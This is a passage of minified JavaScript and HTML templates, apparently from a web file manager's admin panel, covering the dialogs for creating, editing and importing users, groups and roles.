0,a(i)}})};""==s[e]?r():$.dialog({id:"dialog_user_confirm",fixed:!0,icon:"question",padding:30,width:250,lock:!0,background:"#000",opacity:.2,content:s[e],ok:function(){r()},cancel:!0})}},s="write",r=function(e){var t={1:s};t[e]=s;var i={user_id:"",name:"",password:"123456",role:"default",group_info:t,config:{size_max:"1.5",size_use:"0"}};console.log(i),p(i,!0)},l=function(e){var t={1:s};t[e]=s;var i={user_id:"",name:"",password:"123456",role:"default",group_info:t,config:{size_max:"1.5",size_use:"0"}};p(i)},c=function(){var e=1073741824*parseFloat($(".size_max_set input").val()),t=core.fileSize(e);0==e||isNaN(e)?$(".size_max_set i").html(LNG.space_tips_default):$(".size_max_set i").html(t)},d=function(){var e=System.systemGroup.getList(),t=System.systemGroupRole.getList(),i=jsonDecode($("#group_info").attr("value")),a="";for(var n in i)if(e[n]){var o=i[n];o="read"==o?"1":o,o="write"==o?"2":o;var s=t[o]?t[o]:t["1"];a+='<span title-timeout=50" class="label label-'+s.style+'" title="'+s.name+'">'+e[n].name+"</span>"}$(".dlg_group_display .cell").html(a+'<div style="clear:both"></div>')},p=function(n,s){var r=System.systemRole.getList(),l=e("./tpl/user.html");s&&(l=e("./tpl/user_import.html"));var p=template.compile(l),u=p({LNG:LNG,user_info:n,role_list:r}),h=$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,background:"#000",opacity:.1,title:"",padding:"0",fixed:!0,lock:!0,content:u});c(),System.sizeUse($(".share_view_info")),$("#group_info").val(jsonEncode(n.group_info)),$(".dlg_group_select").unbind("click").bind("click",function(){f($("#group_info").val(),function(e){$("#group_info").val(e),d()})}),d(),$(".input_line #name").textFocus();var m="./index.php?system_member/add";s?m="./index.php?system_member/add&isImport=1":""==n.name?$(".share_action .remove_button").hide():m="./index.php?system_member/edit&user_id="+n.user_id,$("#system_save").unbind("click").bind("click",function(){_()}),$(".select_drop_menu a").unbind("click").bind("click",function(){$(this).parent().parent().find("a").removeClass("selected"),$(this).addClass("selected"),$(".select_drop_menu .role_title").html($(this).html()),$("#role").val($(this).attr("data-role-id"))}),$(".remove_button").unbind("click").bind("click",function(){o("del",n.user_id,"")}),$(".dlg_goto_path").unbind("click").bind("click",function(){System.openPath(n)}),$(".content_box input").keyEnter(function(){_(!0)}),$("#system_save_goon_add").unbind("click").bind("click",function(){_(!0)}),$(".user_setting_more_btn").unbind("click").bind("click",function(){$(".user_setting_more").toggleClass("hidden")}),$(".select_path a.select_btn").unbind("click").bind("click",function(){var e=this;core.api.pathSelect({type:"folder",title:LNG.path_api_select_folder,firstPath:$(".select_path input").val()},function(t){$(e).parent().find("input").val(t)})}),$(".select_path a.reset").unbind("click").bind("click",function(){$(this).parent().find("input").val("")});var _=function(e){s&&(e=!1);var o={};$(".share_dialog .content_info [name]").each(function(){var e=urlEncode($(this).val());""!=e&&(o[$(this).attr("name")]=e)}),$.ajax({url:m,data:o,type:"POST",dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(o){return Tips.close(o),o.code||"version_error"!=o.info?o.code?(t=void 0,a(i),s?h.close():""!=n.name||1!=e?h.close():$(".input_line #name").val("").textFocus(),void 0):(s&&$("#name").val(o.info),void 0):($.dialog({content:o.data,padding:"30px 25px",width:"300px",okVal:LNG.learn_more,ok:function(){window.open(core.versionUpdateVip)}}),void 0)}})}},f=function(t,i){var a=System.systemGroup.getListTree(),n=System.systemGroup.getList();t=jsonDecode(t),$.isArray(t)&&(t={});var o={view:{showLine:!1,selectedMulti:!1,dblClickExpand:!1,addDiyDom:function(e,t){var i=12,a=$("#"+e+" #"+t.tId+"_switch"),n=$("#"+e+" #"+t.tId+"_ico");if(n.before(a).after('<i class="font-icon group_select_box icon-sort"></>').before('<span class="tree_icon button">'+core.iconSmall("groupGuest")+"</span>").removeClass("ico_docu").addClass("group_icon").remove(),t.level>=1){var o="<span class='space' style='display:inline-block;width:"+i*t.level+"px'></span>";a.before(o)}$("#"+e+" #"+t.tId+"_a").attr("data_group_id",t.id)}},callback:{onClick:function(e,i,a){t||(t={}),$("#"+a.tId+"_a").hasClass("this")?delete t[a.id]:t[a.id]=s,c()}}},r=function(){var e=$("#user_group_select");$.fn.zTree.init(e,o,a);var t=$.fn.zTree.getZTreeObj("user_group_select");t&&t.expandAll(!0)},l=function(){var a=e("./tpl/group_select.html"),n=template.compile(a),o=n({LNG:LNG});$.dialog({id:"select_usre_group_dlg",title:LNG.system_member_group_edit,padding:"0",width:540,lock:!0,background:"#fff",opacity:.1,fixed:!0,content:o,ok:function(){i(jsonEncode(t))},cancel:!0}),r()},c=function(){var e="";$("#user_group_select .curSelectedNode").removeClass("curSelectedNode"),$("#user_group_select a[data_group_id]").removeClass("this");var i=function(e){var t=System.systemGroupRole.getList();e="read"==e?"1":e,e="write"==e?"2":e;var i=t[e]?t[e]:t["1"],a="<ul class='dropdown-menu'>";for(var n in t){var o=t[n];if(o.display){var s=n==e?"selected":"";a+='<li data-info="'+n+'" class="'+s+'">'+o.name+"</li>"}}a+="</ul>";var r='<div class="btn-group select_drop_menu open" data-current="'+e+'"> <button class="btn label label-'+i.style+' btn-xs" type="button" data-toggle="dropdown"> <span class="group_info_title pr-5">'+i.name+'</span><span class="caret"></span> </button>'+a+" </div>";return r};for(var a in t)n[a]&&($("#user_group_select a[data_group_id="+a+"]").addClass("this"),e+='<li class="group_self" group-id="'+a+'">'+' <span class="title"><i class="font-icon icon-group"></i>'+n[a].name+"</span>"+' <i class="font-icon icon-remove remove"></i>'+i(t[a])+"</li>");$(".select_group_right").html(e)},d=function(){$(".right_content .group_self .remove").die("click").live("click",function(){var e=$(this).parent().attr("group-id");delete t[e],c()}),$(".group_self .dropdown-menu li").die("click").live("click",function(){var e=$(this).attr("data-info"),i=$(this).parent().attr("data-current"),a=$(this).parent().parent().parent().attr("group-id");i!=e&&(t[a]=e,c())})};l(),c(),d()},u=function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")},h=function(){$("body").click(u).contextmenu(u),$.contextMenu({zIndex:9999,selector:".user_action_menu",items:{user_list_edit:{name:LNG.edit,icon:"edit",accesskey:"e"},sep1:"--------",user_remove:{name:LNG.remove,icon:"trash",accesskey:"d"},user_status_close:{name:LNG.system_member_unuse,icon:"",accesskey:"c"},user_status_open:{name:LNG.system_member_use,icon:"",accesskey:"o"},sep2:"--------",group_remove_from:{name:LNG.system_member_group_remove,icon:"",accesskey:"g"},group_add:{name:LNG.system_member_group_insert,icon:"",accesskey:"a"},group_reset:{name:LNG.system_member_group_reset,icon:"",accesskey:"i"}},callback:function(e,t){var i=t.$trigger.attr("data-id");$("#content_system_group .group_id").html();var a=[i];_(e,a,"")}})},m=function(){$(".size_max_set input").live("input",c),$("#content_system_group .content [data-action]").live("click",function(e){if(!$(e.target).is("input")){var t=$(this),i=t.attr("data-action"),a=[];if($("#content_system_group .user_select:checked").each(function(){a.push($(this).parent().parent().attr("data-id"))}),"user_list_edit"==i){var n=t.parent().parent().attr("data-id");a=[n]}return _(i,a,t,e),!0}})},_=function(e,i,a,n){var s=$("#content_system_group .group_id").html();switch(e){case"user_add":l(s);break;case"user_import":r(s);break;case"group_remove_from":o("group_remove_from",i,s);break;case"group_add":f("{}",function(e){o("group_add",i,e)});break;case"group_reset":f("{}",function(e){o("group_reset",i,e)});break;case"role_set":var c=a.attr("data-role-id");o("role_set",i,c);break;case"user_status_open":o("status_set",i,1);break;case"user_status_close":o("status_set",i,0);break;case"user_remove":o("del",i,"");break;case"user_list_select":var d=a.find(".user_select");d.attr("checked")?d.removeAttr("checked"):d.attr("checked","true"),v();break;case"user_list_edit":p(t[i[0]]),stopPP(n);break;default:}},v=function(){$("#content_system_group .user_select:checked").length>=1?$(".button_aciton_muti button").removeClass("disabled"):$(".button_aciton_muti button").addClass("disabled"),$("#content_system_group .user_list_cell ").removeClass("selected"),$("#content_system_group .user_select:checked").each(function(){$(this).parent().parent().addClass("selected")})},g=function(){$("#content_system_group .user_select_set").live("click",function(){$(this).attr("checked")?$("#content_system_group .user_select").attr("checked","true"):$("#content_system_group .user_select").removeAttr("checked"),v()}),$("#content_system_group .user_select").live("click",function(){v()})};return g(),m(),h(),{resetUserList:n,resetList:function(){t=void 0},loadList:a,add:l}}),define("app/src/setting/system/tpl/user_list.html",[],'<div class="user_tool_bar">\n <div class="btn-group btn-group-sm ml-10">\n <button type="button" class="btn btn-default" data-action="user_add">{{LNG.system_member_add}}</button>\n <button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="caret"></span>&nbsp;\n <span class="sr-only">Dropdown</span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" data-action="user_import">{{LNG.system_member_import}}</a></li>\n </ul>\n </div>\n <div class="btn-group btn-group-sm ml-10 button_aciton_muti">\n <button class="btn btn-default" type="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="role_title pr-5">{{LNG.system_member_group_config}}</span><span class="caret"></span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" data-action="group_remove_from">{{LNG.system_member_group_remove}}</a></li>\n <li><a href="javascript:void(0);" data-action="group_add">{{LNG.system_member_group_insert}}</a></li>\n <li class="divider disabled"></li>\n <li><a href="javascript:void(0);" data-action="group_reset">{{LNG.system_member_group_reset}}</a></li>\n </ul>\n </div>\n <div class="btn-group btn-group-sm ml-5 button_aciton_muti">\n <button class="btn btn-default" type="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="role_title pr-5">{{LNG.system_member_role}}</span><span class="caret"></span>\n </button>\n <ul class="dropdown-menu">\n {{each role_list as value key}}\n <li><a href="javascript:void(0);" data-action="role_set" data-role-id="{{key}}">{{value}}</a></li>\n {{/each}}\n </ul>\n </div>\n\n <div class="btn-group btn-group-sm button_aciton_muti ml-10">\n <button class="btn btn-default" data-action="user_status_close">{{LNG.system_member_unuse}}</button>\n <button class="btn btn-default" data-action="user_status_open">{{LNG.system_member_use}}</button>\n <button class="btn btn-default" data-action="user_remove">{{LNG.remove}}</button>\n </div>\n</div>\n<div class="user_list">\n <table id="list" align="center" border="0" cellspacing="0" cellpadding="0">\n <tbody>\n <tr class="title">\n <td class="select"><input type=\'checkbox\' class="user_select_set kui-checkbox size-small"/></td>\n <td class="name">{{LNG.username}}</td>\n <td class="role">{{LNG.system_member_role}}</td>\n <td class="space">{{LNG.space_size_use}}</td>\n <td class="group">{{LNG.system_member_group}}</td>\n </tr>\n {{each user_list as v i}}\n {{if v && (select_group==\'1\' || v.group_info[select_group]) }}\n <tr data-id="{{v.user_id}}" data-action="user_list_select" class="user_action_menu user_list_cell {{if v.status=="0"}}unuse{{/if}}">\n <td class="select">\n {{if v.user_id!=\'1\'}}<input type=\'checkbox\' class="user_select kui-checkbox size-small"/>{{/if}}\n </td>\n <td class="name">\n <a data-action="user_list_edit" href="javascript:void(0);">{{v.name}}</a>\n <span class="label-small" {{if v.home_path}}style="background:#84d9ff;"{{/if}}>{{v.user_id}}</span>\n </td>\n <td class="role">{{role_list[v.role]}}</td>\n <td class="space">{{v.config.size_use}}/{{v.config.size_max}}</td>\n <td class="group">\n {{each v.group_info as group_role_id group_id}}\n {{if group_list[group_id]}} \n {{if group_role_id = group_role_id == "read" ? "1":group_role_id}}{{/if}}\n {{if group_role_id = group_role_id == "write" ? "2":group_role_id}}{{/if}}\n {{if group_role_list[group_role_id]? "":group_role_id="1" }}{{/if}}\n {{if group_role_info = group_role_list[group_role_id]}}{{/if}}\n <span {{group_role_id}} class="ml-5 label label-{{group_role_info.style}}" \n title-timeout=\'50\' title="{{group_role_info.name}}">\n {{group_list[group_id][\'name\']}}\n </span>\n {{else}}\n <!-- <span class="label label-danger">{{group_id}}</span> -->\n {{/if}}\n {{/each}}\n </td>\n </tr>\n {{/if}}\n {{/each}}\n </tbody>\n </table>\n</div><!-- 用户列表 -->\n\n\n'),define("app/src/setting/system/tpl/user.html",[],'<div class=\'content_box\'>\n <div class=\'title\'>\n <div class="titleinfo">\n {{if !user_info.name}}\n <i class="font-icon icon-group"></i>{{LNG.system_member_add}}\n {{else}}\n <i class="font-icon icon-pencil"></i>{{user_info.name}} \n {{/if}}\n </div> \n {{if user_info.name}}\n <div class="share_view_info">{{user_info.config.size_use}}/{{user_info.config.size_max}}</div>\n {{/if}} \n </div>\n <div class=\'content_info\'>\n <div class="input_line">\n <span class="input_title">{{LNG.username}}:</span>\n <input id="name" type="text" name="name" value="{{user_info.name}}" />\n {{if user_info.name}}\n <a href="javascript:void(0);" class="font-icon-label dlg_goto_path" title="{{LNG.open_the_path}}">\n <i class="font-icon icon-folder-open"></i>\n </a>\n {{else}}\n <i class="desc">{{LNG.username}}</i>\n {{/if}}\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.password}}:</span>\n <input id="password" type="text" name="password" \n value="{{if !user_info.name}}{{user_info.password}}{{/if}}" \n placeholder="{{if user_info.name}}{{LNG.system_member_password_tips}}{{/if}}"/>\n {{if user_info.name}}<i class="desc">{{LNG.system_member_password_tips}}</i>{{/if}}\n <div style="clear:both"></div>\n </div>\n <div class="input_line size_max_set">\n <span class="input_title">{{LNG.space_size}}:</span>\n <input id="size_max" type="text" name="size_max" value="{{user_info.config.size_max}}" />\n <i class="desc label label-default" style="color:#698ebf;background:#E9F3F9;"></i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.system_member_role}}:</span>\n <input type="hidden" id="role" name="role" value="{{user_info.role}}"/>\n <div class="btn-group select_drop_menu">\n <button class="btn btn-default btn-xs" type="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="role_title pr-5">\n {{if role_list[user_info.role]}}\n {{role_list[user_info.role]}}\n {{else}}\n <i>{{LNG.system_member_role_select}}</i>\n {{/if}}\n </span><span class="caret"></span>\n </button>\n <ul class="dropdown-menu">\n {{each role_list as value key}}\n {{if key==user_info.role}}\n <li><a href="javascript:void(0);" class="selected" data-role-id="{{key}}">{{value}}</a></li>\n {{else}}\n <li><a href="javascript:void(0);" data-role-id="{{key}}">{{value}}</a></li>\n {{/if}}\n {{/each}}\n </ul>\n </div>\n\n <!-- <input type="text" id="role" name="role" value="{{user_info.role}}" /> -->\n <a href="javascript:void(0);" class="btn btn-sm user_setting_more_btn">{{LNG.more}}</a>\n <div style="clear:both"></div>\n </div>\n\n <div class="user_setting_more {{if !user_info.home_path}}hidden{{/if}}">\n <div class="input_line select_path">\n <span class="input_title">{{LNG.system_set_home_path}}:</span>\n <input id="home_path" type="text" name="home_path" value="{{user_info.home_path}}" placeholder="{{LNG.system_set_home_path_tips}}"/>\n <a href="javascript:void(0);" class="btn btn-sm btn-default select_btn">\n <i class="font-icon icon-folder-open"></i>\n </a>\n <a href="javascript:void(0);" class="btn btn-sm btn-link reset">\n <i class="font-icon icon-remove"></i>\n </a>\n <div style="clear:both"></div>\n </div>\n </div>\n\n <div class="input_line">\n <span class="input_title">{{LNG.system_member_group}}:</span>\n <input id="group_info" type="hidden" name="group_info" value="{{user_info.group_info}}" />\n <div class="dlg_group_display">\n <div class="cell"></div>\n <button class="btn btn-default btn-sm dlg_group_select" type="button">\n <i class="font-icon icon-pencil"></i><span class="group_title pl-10">{{LNG.system_member_group_edit}}</span>\n </button>\n </div>\n <div style="clear:both"></div>\n </div>\n </div>\n\n <div class="share_action">\n {{if !user_info.name}}\n <button type="button" class="btn btn-primary" id="system_save">{{LNG.button_add}}</button>\n <button type="button" class="btn btn-primary" id="system_save_goon_add">{{LNG.button_save_and_add}}</button>\n {{else}}\n <button type="button" class="btn btn-primary" id="system_save">{{LNG.button_save}}</button>\n <a type="button" href="javascript:void(0);" class="remove_button">{{LNG.button_del}}</a>\n {{/if}}\n </div>\n</div>\n'),define("app/src/setting/system/tpl/user_import.html",[],'<div class=\'content_box\'>\n <div class=\'title\'>\n <div class="titleinfo">\n <i class="font-icon icon-group"></i>{{LNG.system_member_import}}\n </div>\n </div>\n <div class=\'content_info\'>\n <div class="input_line">\n <span class="input_title">{{LNG.username}}:</span>\n <textarea id="name" type="text" name="name" value="{{user_info.name}}"></textarea>\n <i class="desc" style="position: absolute;line-height:1.5em;">{{#LNG.system_member_import_desc}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.password}}:</span>\n <input id="password" type="text" name="password" value="{{user_info.password}}"/>\n <div style="clear:both"></div>\n </div>\n <div class="input_line size_max_set">\n <span class="input_title">{{LNG.space_size}}:</span>\n <input id="size_max" type="text" name="size_max" value="{{user_info.config.size_max}}" />\n <i class="desc label label-default" style="color:#698ebf;background:#E9F3F9;"></i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.system_member_role}}:</span>\n <input type="hidden" id="role" name="role" value="{{user_info.role}}"/>\n <div class="btn-group select_drop_menu">\n <button class="btn btn-default btn-xs" type="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="role_title pr-5">\n {{if role_list[user_info.role]}}\n {{role_list[user_info.role]}}\n {{else}}\n <i>{{LNG.system_member_role_select}}</i>\n {{/if}}\n </span><span class="caret"></span>\n </button>\n <ul class="dropdown-menu">\n {{each role_list as value key}}\n {{if key==user_info.role}}\n <li><a href="javascript:void(0);" class="selected" data-role-id="{{key}}">{{value}}</a></li>\n {{else}}\n <li><a href="javascript:void(0);" data-role-id="{{key}}">{{value}}</a></li>\n {{/if}}\n {{/each}}\n </ul>\n </div>\n\n <!-- <input type="text" id="role" name="role" value="{{user_info.role}}" /> -->\n <i class="desc">{{LNG.system_member_role}}</i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line">\n <span class="input_title">{{LNG.system_member_group}}:</span>\n <input id="group_info" type="hidden" name="group_info" value="{{user_info.group_info}}" />\n\n <div class="dlg_group_display">\n <div class="cell"></div>\n <button class="btn btn-default btn-sm dlg_group_select" type="button">\n <i class="font-icon icon-pencil"></i><span class="group_title pl-10">{{LNG.system_member_group_edit}}</span>\n </button>\n </div>\n <div style="clear:both"></div>\n </div>\n </div>\n\n <div class="share_action">\n <button type="button" class="btn btn-primary" id="system_save">{{LNG.button_add}}</button>\n </div>\n</div>\n'),define("app/src/setting/system/tpl/group_select.html",[],'<div class=\'content_box select_user_group\'>\n <div class=\'content_info\'>\n <div class="title_info">\n <span class="title">{{LNG.system_group_select}}:</span>\n <span class="title title_right">{{LNG.system_group_select_result}}:</span>\n </div>\n <div class="left_content ztree" id=\'user_group_select\'></div>\n <div class="center_action"><i class="font-icon icon-arrow-right"></i></div>\n <div class="right_content">\n <ul class="select_group_right"></ul>\n </div>\n <div style="clear:both"></div>\n </div>\n</div>\n'),define("app/src/setting/system/system_group",[],function(e){var t,i,a,n,o=function(){p(),c(),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),$(".menuGroup").die("mouseenter").live("mouseenter",function(){$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")}),G.is_root||$("[data-action=group_home").addClass("hidden")},s={view:{showLine:!1,selectedMulti:!1,dblClickExpand:!0,addDiyDom:function(e,t){var i=12,a=$("#"+e+" #"+t.tId+"_switch"),n=$("#"+e+" #"+t.tId+"_ico");if(n.before(a).before('<span class="tree_icon button">'+core.iconSmall("groupGuest")+"</span>").remove(),t.level>=1){var o="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";a.before(o)}$("#"+e+" #"+t.tId+"_a").addClass("menuGroup").append("<i class='sub_menu icon-reorder'><i>").attr("data_group_id",t.id)}},callback:{onClick:function(e,t,i){r(t,i.id)},beforeRightClick:function(e,t){r(e,t.id)}}},r=function(e,i){if("folderList"==e){n=i;var a=t.getNodeByParam("id",i,null);t.selectNode(a),g(i)}else"group_parent_select"==e&&($("#group_parent").val(i),$(".select_group").addClass("hidden"),m())},l=function(e){var t=function(e){for(var i=0;e.length>i;i++)void 0!=e[i]?(e[i].pid=e[i].parent_id,e[i].id=e[i].group_id,delete e[i].children,delete e[i].parent_id,delete e[i].group_id,e[i].child&&(e[i].children=e[i].child,delete e[i].child,t(e[i].children))):delete e[i]},i=[],a=$.extend(!0,{},e);for(var n in a){var o=a[n],s=o.parent_id;if(a[s])a[s].child||(a[s].child=[]),a[s].child.push(a[o.group_id]);else{var r=a[o.group_id];r&&i.push(r)}}return t(i),i},c=function(){$.ajax({url:"./index.php?&system_group/get",dataType:"json",error:function(){$("#folderList").html('<div style="text-align:center;">'+LNG.system_error+"</div>")},success:function(e){return e.code?(a=System.dataList(e,"group"),i=l(a),$.fn.zTree.init($("#folderList"),s,i),t=$.fn.zTree.getZTreeObj("folderList"),t.expandAll(!0),void 0==n&&(n="1"),r("folderList",n),0!=$("#group_parent_select").length&&_(),void 0):($("#folderList").html('<div style="text-align:center;">'+LNG.system_error+"</div>"),void 0)}})},d=function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")},p=function(){$("body").click(d).contextmenu(d),$.contextMenu({zIndex:9999,selector:".menuGroup",items:{add_child:{name:LNG.system_group_add,icon:"plus",accesskey:"u"},edit:{name:LNG.edit,icon:"edit",accesskey:"e"},sep1:"--------",add_user:{name:LNG.system_member_add,icon:"user",accesskey:"g"},sep2:"--------",remove:{name:LNG.remove,icon:"remove-sign",accesskey:"r"}},callback:function(e,i){var a=i.$trigger.attr("id");a=a.replace("_a","");var n=t.getNodeByTId(a);switch(e){case"add_child":var o=f();o.parent_id=n.id,v(o);break;case"edit":var o=f(n.id);v(o);break;case"add_user":System.systemMember.add(n.id);break;case"remove":u(n.id);break;default:}}}),$(".sub_menu").die("click").live("click",function(e){$(this).contextMenu({x:e.pageX,y:e.pageY})})},f=function(e){return void 0==e?{group_id:"",name:"",parent_id:"",children:"",config:{size_max:"0",size_use:""},path:"",create_time:""}:a[e]},u=function(e,i){var a=t.getSelectedNodes()[0],n=a.getParentNode(),o="./index.php?system_group/del&group_id="+e;$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:LNG.system_group_remove,padding:30,width:300,lock:!0,background:"#000",opacity:.3,content:LNG.system_group_remove_tips,ok:function(){$.ajax({url:o,type:"POST",dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(t){Tips.close(t),System.systemMember.resetList(),r("folderList",n.id),c(),"function"==typeof i&&i(e)}})},cancel:!0})},h=function(){var e=1073741824*parseFloat($(".size_max_set input").val()),t=core.fileSize(e);0==e||isNaN(e)?$(".size_max_set i").html(LNG.space_tips_default):$(".size_max_set i").html(t)},m=function(){var e=$("#group_parent_select"),t=$("#group_parent").val();if(e.find("a.menuGroup").removeClass("curSelectedNode"),""==t)return $(".select_parent_content .group_title").html("is root"),!1;var i=f(t);return $(".select_parent_content .group_title").html(i.name),e.find("a[data_group_id="+t+"]").addClass("curSelectedNode"),!0},_=function(){var e=$("#group_parent_select");$.fn.zTree.init(e,s,i);var t=$.fn.zTree.getZTreeObj("group_parent_select"); +t&&t.expandAll(!0),m()&&$(".select_parent_content .btn").unbind("click").bind("click",function(){$(".select_group").toggleClass("hidden")})},v=function(t){var i=e("./tpl/group.html"),a=template.compile(i),n=a({LNG:LNG,groupInfo:t}),o=$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,background:"#000",opacity:.1,title:"",padding:"0",fixed:!0,lock:!0,content:n});h(),System.sizeUse($(".share_view_info")),_(),$(".input_line #name").textFocus();var s="./index.php?system_group/add";if(""!=t.name)var s="./index.php?system_group/edit&group_id="+t.group_id;$("#system_save").unbind("click").bind("click",function(){r()}),$(".dlg_goto_path").unbind("click").bind("click",function(){System.openPath(t)}),$(".remove_button").unbind("click").bind("click",function(){u(t.group_id,function(){o.close()})}),$(".content_box input").keyEnter(function(){r(!0)}),$("#system_save_goon_add").unbind("click").bind("click",function(){r(!0)}),$(".user_setting_more_btn").unbind("click").bind("click",function(){$(".user_setting_more").toggleClass("hidden")}),$(".select_path a.select_btn").unbind("click").bind("click",function(){var e=this;core.api.pathSelect({type:"folder",title:LNG.path_api_select_folder,firstPath:$(".select_path input").val()},function(t){$(e).parent().find("input").val(t)})}),$(".select_path a.reset").unbind("click").bind("click",function(){$(this).parent().find("input").val("")});var r=function(e){var i="";$(".share_dialog .content_info input[name]").each(function(){var e=urlEncode($(this).val());""!=e&&(i+="&"+$(this).attr("name")+"="+e)}),$.ajax({url:s,data:i,type:"POST",dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){return Tips.close(i),i.code||"version_error"!=i.info?(i.code&&(c(),""!=t.name||1!=e?o.close():setTimeout(function(){$(".input_line #name").val("").textFocus()},200)),void 0):($.dialog({content:i.data,padding:"30px 25px",width:"300px",okVal:LNG.learn_more,ok:function(){window.open(core.versionUpdateVip)}}),void 0)}})}},g=function(e){var t=f(e);t&&($(".group_title .group_title_span").html(t.name),$(".group_size").html(t.config.size_use+"/"+t.config.size_max),$("#content_system_group .group_id").html(e),System.sizeUse($(".group_size")),System.systemMember.loadList(e))},b=function(){$(".size_max_set input").live("input",h),$("#content_system_group .header_content [data-action]").live("click",function(){var e=$(this).attr("data-action"),t=$("#content_system_group .group_id").html(),i=f(t);switch(e){case"group_edit":v(i);break;case"group_home":System.openPath(i);break;case"group_add_child":var a=f();a.parent_id=t,v(a);break;default:}})};return b(),{init:o,getGroupInfo:f,getListTree:function(){return i},getList:function(){return a}}}),define("app/src/setting/system/tpl/group.html",[],'<div class=\'content_box\'>\n <div class=\'title\'>\n <div class="titleinfo">\n {{if !groupInfo.name}}\n <i class="font-icon icon-plus"></i>{{LNG.system_group_create}}\n {{else}}\n <i class="font-icon icon-pencil"></i>{{groupInfo.name}}\n {{/if}}\n </div>\n {{if groupInfo.name}}\n <div class="share_view_info">{{groupInfo.config.size_use}}/{{groupInfo.config.size_max}}</div>\n {{/if}}\n </div>\n <div class=\'content_info\'>\n <div class="input_line">\n <span class="input_title">{{LNG.system_group_name}}:</span>\n <input id="name" type="text" name="name" value="{{groupInfo.name}}" />\n {{if groupInfo.name}}\n <a href="javascript:void(0);" class="font-icon-label dlg_goto_path" title="{{LNG.open_the_path}}">\n <i class="font-icon icon-folder-open"></i>\n </a>\n {{else}}\n <i class="desc">{{LNG.name}}</i>\n {{/if}}\n <div style="clear:both"></div>\n </div>\n <div class="input_line size_max_set">\n <span class="input_title">{{LNG.space_size}}:</span>\n <input id="size_max" type="text" name="size_max" value="{{groupInfo.config.size_max}}" />\n <i class="desc label label-default" style="color:#698ebf;background:#E9F3F9;"></i>\n <div style="clear:both"></div>\n </div>\n <div class="input_line select_parent_content">\n <span class="input_title">{{LNG.system_group_father}}:</span>\n <input id="group_parent" type="hidden" name="parent_id" value="{{groupInfo.parent_id}}" />\n <button class="btn btn-default btn-sm" type="button" style="padding: 5px 10px;">\n <i class="font-icon icon-group"></i><span class="group_title pl-10"></span>\n </button>\n <ul class="select_group hidden ztree" id="group_parent_select"></ul>\n <div style="clear:both"></div>\n </div>\n\n <div class="input_line" style="margin-bottom: -5px;">\n <span class="input_title">&nbsp;</span>\n <a href="javascript:void(0);" class="btn btn-sm user_setting_more_btn" style="padding-left:0;">{{LNG.more}}</a>\n <div style="clear:both"></div>\n </div>\n <div class="user_setting_more {{if !groupInfo.home_path}}hidden{{/if}}">\n <div class="input_line select_path">\n <span class="input_title">{{LNG.system_set_home_path}}:</span>\n <input id="home_path" type="text" name="home_path" value="{{groupInfo.home_path}}" placeholder="{{LNG.system_set_home_path_tips}}"/>\n <a href="javascript:void(0);" class="btn btn-sm btn-default select_btn">\n <i class="font-icon icon-folder-open"></i>\n </a>\n <a href="javascript:void(0);" class="btn btn-sm btn-link reset">\n <i class="font-icon icon-remove"></i>\n </a>\n <div style="clear:both"></div>\n </div>\n </div>\n </div>\n\n <div class="share_action"> \n {{if !groupInfo.name}}\n <button type="button" class="btn btn-primary" id="system_save">{{LNG.button_add}}</button>\n <button type="button" class="btn btn-primary" id="system_save_goon_add">{{LNG.button_save_and_add}}</button>\n {{else}}\n <button type="button" class="btn btn-primary" id="system_save">{{LNG.button_save}}</button>\n <a type="button" href="javascript:void(0);" class="remove_button">{{LNG.button_del}}</a>\n {{/if}}\n </div>\n</div>\n\n'),define("app/src/setting/system/system_role",[],function(){var e,t,i=function(){$.ajax({url:"index.php?system_role/get",dataType:"json",async:!1,success:function(i){return i.code?(e=i.data,a(),void 0==t&&(t="1"),n(t),void 0):(Tips.tips(i),void 0)}})},a=function(){var t="";$.each(e,function(e,i){t+='<li class="role_cell" data-role-id="'+e+'">'+"<span>"+i.name+'</span><i class="sub_menu icon-angle-right"></i></li>'}),t+='<li class="role_cell role_cell_add" data-role-id="0"><i class="icon-plus"></i></li>',$(".role_list_cell").html(t)},n=function(i){var a;t=i,$(".system_role li.role_cell").removeClass("select"),$(".system_role [data-role-id="+i+"]").addClass("select"),$("#content_system_role [data-action=role_delete]").show(),$("#content_system_role .group_title .label-info").show(),"0"==i?(a={name:"",ext_not_allow:"php|jsp|html"},$("#content_system_role [data-action=role_delete]").hide(),$("#content_system_role .group_title .label-info").hide(),$("#content_system_role .role_title").html(LNG.system_role_add)):(a=e[i],$("#content_system_role .role_title").html(a.name),$("#content_system_role .role_id").html(i)),$(".group_editor #name").val(a.name).textFocus(),$(".group_editor #ext_not_allow").val(a.ext_not_allow),$(".group_editor .tag").removeClass("this"),$(".group_editor input").removeAttr("checked"),$(".group_editor .tag").each(function(){var e=$(this),t=e.attr("data-role");t=t.split(";"),t=t[0],a[t]&&(e.addClass("this"),e.find("input").attr("checked",!0))})},o=function(){if(!G.is_root)return 